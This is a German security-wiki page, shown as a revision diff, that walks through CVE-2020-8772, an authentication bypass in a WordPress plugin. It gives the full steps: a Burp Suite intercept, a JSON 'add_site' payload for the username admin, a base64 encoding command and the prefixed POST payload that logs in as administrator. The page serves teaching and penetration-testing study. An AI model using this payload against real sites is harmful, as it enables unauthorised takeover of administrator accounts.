Authentication Bypass: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
Zeile 19: Zeile 19:
  
 
=Payload=
 
=Payload=
*Create the JSON payload and convert it to base64.
 
 
*Erstellen Sie die JSON Payload und konvertieren Sie sie in base64.
 
*Erstellen Sie die JSON Payload und konvertieren Sie sie in base64.
  
Zeile 29: Zeile 28:
 
  Payload: _IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQo=
 
  Payload: _IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQo=
  
*Place the payload created as POST request arguments.
+
*Platzieren Sie den Payload als POST Argumente.
 
[[Datei:Authentication-Bypass-Wordpress2.png|900px]]
 
[[Datei:Authentication-Bypass-Wordpress2.png|900px]]
*Click on Forward and turn of the intercept.
+
*Klicken Sie auf Forward und schalten Sie den Intercept aus.
 +
*Jetzt müssen wir die Seite einmal neuladen.
  
  

Version vom 7. November 2022, 06:27 Uhr

CVE

  • CVE-2020-8772

Vorbermerkung

  • Aufgrund logischer Fehler im Code ist es möglich, sich als beliebiger Administrator auf der Website anzumelden.
  • Das Problem liegt in der Funktion iwp_mmb_set_request, die sich in der Datei init.php befindet.
  • Dies prüft, ob das Array request_params der Kernklasse nicht leer ist, was nur in einer anderen Funktion gesetzt wird
  • Da passiert nur wenn gefüllt wird und wenn die Nutzlast bestimmte Bedingungen erfüllt
  • (in diesem Szenario sind die Aktionen readd_site und add_site die einzigen Aktionen, die keine haben Autorisierungsprüfung, weshalb dieses Problem besteht.)
  • Sobald die Payload diese Bedingungen erfüllt, wird der angegebene Benutzername-Parameter verwendet
  • DerAnforderer wird als diesen Benutzer angemeldet, ohne eine weitere Authentifizierung durchzuführen.


Request

  • Laden Sie die Zielwebsite neu und fangen Sie die Anfrage mit der Burp Suite ab.
  • Klicken Sie mit der rechten Maustaste auf die Burp Suite und klicken Sie auf „Anfragemethode ändern“, um die Anfrage von GET in POST umzuwandeln.


Authentication-Bypass-Wordpress.png

Payload

  • Erstellen Sie die JSON Payload und konvertieren Sie sie in base64.
Payload: {"iwp_action":"add_site","params":{"username":"admin"}}
  • echo '{"iwp_action":"add_site","params":{"username":"admin"}}' | base64 -w0
  • Hängen Sie den base64 generierte Payload an die Zeichenfolge _IWP_JSON_PREFIX_ an.
Payload: _IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQo=
  • Platzieren Sie den Payload als POST Argumente.

Authentication-Bypass-Wordpress2.png

  • Klicken Sie auf Forward und schalten Sie den Intercept aus.
  • Jetzt müssen wir die Seite einmal neuladen.



Links

Bypass